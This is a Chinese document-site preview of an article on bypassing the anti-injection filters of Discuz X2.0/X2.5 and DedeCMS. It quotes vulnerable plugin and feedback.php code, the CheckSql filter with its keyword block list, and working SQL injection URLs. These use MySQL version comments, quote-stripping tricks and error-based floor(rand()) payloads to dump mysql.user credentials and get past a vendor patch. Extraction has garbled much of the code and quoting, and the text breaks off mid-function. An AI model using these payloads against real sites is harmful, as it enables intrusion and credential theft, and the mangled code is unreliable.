几种通用防注入程序绕过方法_第1页
几种通用防注入程序绕过方法_第2页
几种通用防注入程序绕过方法_第3页
几种通用防注入程序绕过方法_第4页
几种通用防注入程序绕过方法_第5页
已阅读5页,还剩23页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、几种通用防注入程序绕过方法0×00 前言目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。0×01 Discuz x2.0防注入防注入原理这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示 01functiongetGoods($id)02      $query= DB:query(

2、select * from .DB:table(v63_goods). where id =.$id);03        $goods= DB:fetch($query);04        $goods'endtime2' =date(Y-m-d,$goods'endtime');05        $goods'

3、price2' =$goods'price'06        if($goods'sort' =2)07            $goods'endtime2'=date(Y-m-d H:i:s,$goods'endtime');08       

4、0;    $query= DB:query(“select * from “.DB:table(v63_pm).” where gid=$goodsid order by id desc “);09            $last= DB:fetch($query);10            if(is_arra

5、y($last)11                $goods'price' =$last'chujia'12                $goods'uid'  =$last'uid'13 

6、;               $goods'username'  =$last'username'14                $goods'pm' =$last;15    

7、0;           if(time()+600>$goods'endtime')16                    $goods'endtime' =$lasttime+600;17    

8、0;               $goods'endtime2'=date(Y-m-d H:i:s,$lasttime+600);18                19        

9、60;   20        21        return$goods;22 触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:下面可以构造如下请求触发漏洞了,如图所示:不过程序内置了一个_do_query_safe函数用来防注入,如图所示这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图

10、所示:因为我们的url中出现了union select,所以会被过滤掉。绕过方法这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:1http:/localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user这里我们跟踪一下,绕过的具体过程。它会将/*/中间的内容去掉,然后保

11、存在$clean变量中,其值为1select * from pre_v63_goods where id =1 and 1=2 union /*/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user再进一步跟踪,它会将/*/也去掉,然对$clean变量做过滤,如图所示此时$clean值,如图所示此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,

12、成功注入,截图如下:0×02 Discuz X2.5防注入 防注入原理Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示这里$_config'security''querysafe''afullnote'默认被设置为0,重点关注这一点。这里跟踪一下失败的原因,如图所示:此时观察一下变量,_do_query_safe($sql)函数会将/*/中的内容去掉,然后存到$clean中,如图所示:其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值

13、都一样。但是关键在下面,如图所示:因为前面提到$_config'security''querysafe''afullnote'=0,所以这里不会替换/*/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示: 所以注入失败。绕过方法在Mysql当中,定义变量用字符,可以用set a=abc,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用放入sql语句当中,帮助我们绕过防注入程序检查。这里利用如下方式绕过_do_query_safe函数过滤,如下所示:1http:/localhost/dis

14、cuz/plugin.php?id=v63shop:goods&pac=info&gid= union select ,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user这里跟踪一下执行的过程,如图所示:这里有一个if判断,重点看这句1$clean= preg_replace(“/(.+?)/s”,”,$sql);它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用1 union select 这样的方法,在下面的过滤

15、中省掉union select,这里跟踪一下,如图所示:这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下:加了一个判断,过滤字符串中的,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:1if(strpos($sql,/') = false &&strpos($sql,#') = false &&strpos($sql, ) = false) $clean= preg_repla

16、ce(“/(.+?)/s”,”,$sql);这里我只要稍做一下变换就可以让字符消失,从而绕过它的过滤,利用如下所示:1http:/localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid= or ” union select 1 from (select count(*),concat(select database(),floor(rand(0)*2)a from information_schema.tables group by a)b where 这里我引入了用来隐藏第一个字符,并将第一个替换为”,这样便可以替换

17、掉第二个,这里我们跟踪一下代码,如图所示:  可以看到$clean变为1select * from pre_v63_goods where id =“成功绕过补丁,如图所示:不过这样做的代价是不能再使用union select了,只能通过报错获取数据。0×03 DedeCMS防注入 防注入原理这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。漏洞存在于/plus/feedback.php中的第244行,代码如下所示01<?php02if($comtype

18、60;= 'comments')   03        04$arctitle = addslashes($title);05         $typeid = intval($typeid);  06         

19、$ischeck = intval($ischeck);07         $feedbacktype = preg_replace("#0-9a-z#i", "", $feedbacktype); 08         if($msg!="")    09

20、                 10         $inquery = "INSERT INTO '#_feedback'('aid','typeid','username','arctitle','ip',

21、'ischeck','dtime', 'mid','bad','good','ftype','face','msg') VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '$cfg_ml->M_ID','0,'0,

22、9;$feedbacktype','$face','$msg'); "11         $rs = $dsql->ExecuteNoneQuery($inquery);12         if(!$rs)           &

23、#160;13                         14         ShowMsg(' 发表评论错误! ', '-1);15        

24、; /echo $dsql->GetError();16         exit();           17                18      &

25、#160;     19             20         /引用回复    21         elseif($comtype = 'reply')

26、   22                 23         $row = $dsql->GetOne("SELECT * FROM '#_feedback' WHERE id ='$fid'");24  &

27、#160;      $arctitle = $row'arctitle'        25         $aid =$row'aid'        26     

28、60;   $msg = $quotemsg.$msg;        27         $msg = HtmlReplace($msg, 2);        28         $inque

29、ry = "INSERT INTO '#_feedback'('aid','typeid','username','arctitle','ip','ischeck','dtime','mid','bad','good','ftype','face','msg') VALUES ('$aid','$typeid',

30、'$username','$arctitle','$ip','$ischeck','$dtime','$cfg_ml->M_ID','0,'0,'$feedbacktype','$face','$msg')"29         $dsql->ExecuteNoneQuery($inquery);  

31、60; 30         这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示1$row = $dsql->GetOne(“SELECT * FROM #_feedback WHERE id =$fid”);$arctitle

32、 = $row'arctitle'这里的查询#_feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,1$inquery = “INSERT INTO #_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg)            

33、;     VALUES ($aid,'$typeid,'$username,'$arctitle,'$ip,'$ischeck,'$dtime,'$cfg_ml->M_ID,0,0,$feedbacktype,'$face,'$msg)”;这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。但是这

34、里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#_feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。绕过方法众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:001functionCheckSql($db_string,$querytype=select)002&

35、#160;   003        global$cfg_cookie_encode;004        $clean=”;005        $error=”;006        $old_pos= 0;007  

36、60;     $pos= -1;008        $log_file= DEDEINC././data/.md5($cfg_cookie_encode)._safe.txt;009        $userIP= GetIP();010        $getUrl= GetCurUrl();011&#

37、160;012        /如果是普通查询语句,直接过滤一些特殊语法013        if($querytype=select)014        015            $notallow1=”0-9a-z._-1,(un

38、ion|sleep|benchmark|load_file|outfile)0-9a-z.-1,”;016 017            /$notallow2 = “|/*”;018            if(preg_match(“/”.$notallow1.”/i”,$db_string)019    

39、;        020                fputs(fopen($log_file,a+),”$userIP|$getUrl|$db_string|SelectBreakrn”);021             &

40、#160;  exit(“<font size=5 color=red>Safe Alert: Request Error step 1 !</font>”);022            023        024 025        /完整的SQL检查026

41、        while(TRUE)027        028            $pos=strpos($db_string,”,$pos+ 1);029            if($po

42、s= FALSE)030            031                break;032            033     

43、60;      $clean.=substr($db_string,$old_pos,$pos-$old_pos);034            while(TRUE)035            036        

44、;        $pos1=strpos($db_string,”,$pos+ 1);037                $pos2=strpos($db_string,$pos+ 1);038             

45、60;  if($pos1= FALSE)039                040                    break;041      &#

46、160;         042                elseif($pos2= FALSE |$pos2>$pos1)043                044 

47、;                   $pos=$pos1;045                    break;046       

48、         047                $pos=$pos2+ 1;048            049         &

49、#160;  $clean.=$s$;050            $old_pos=$pos+ 1;051        052        $clean.=substr($db_string,$old_pos);053      &#

50、160; $clean= trim(strtolower(preg_replace(array(s+s),array( ),$clean);054 055        /老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它056        if(strpos($clean,union) != FALSE && preg_match(|a-z)uni

51、on($|a-z)s,$clean) != 0)057        058            $fail= TRUE;059            $error=”union detect”;060      &#

52、160; 061 062        /发布版本的程序可能比较少包括,#这样的注释,但是黑客经常使用它们063        elseif(strpos($clean,/*) > 2 |strpos($clean,) != FALSE |strpos($clean,#') != FALSE)064        065&#

53、160;           $fail= TRUE;066            $error=”comment detect”;067        068 069        /这些函数不会被

54、使用,但是黑客会用它来操作文件,down掉数据库070        elseif(strpos($clean,sleep) != FALSE && preg_match(|a-z)sleep($|a-z)s,$clean) != 0)071        072            $fail= T

55、RUE;073            $error=”slown down detect”;074        075        elseif(strpos($clean,benchmark) != FALSE && preg_match(|a-z)benchmark($|a-z)s,$clean

56、) != 0)076        077            $fail= TRUE;078            $error=”slown down detect”;079        08

57、0        elseif(strpos($clean,load_file) != FALSE && preg_match(|a-z)load_file($|a-z)s,$clean) != 0)081        082            $fail= TRUE;083  

58、;          $error=”file fun detect”;084        085        elseif(strpos($clean,into outfile) != FALSE && preg_match(|a-z)intos+outfile($|a-z)s,$clean) != 0)086

59、60;       087            $fail= TRUE;088            $error=”file fun detect”;089        090 091 

60、;       /老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息092        elseif(preg_match()*?selects,$clean) != 0)093        094            $fail= TRUE;095            $error=”sub select detect”;096        097        if(!empty($fail)098 

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论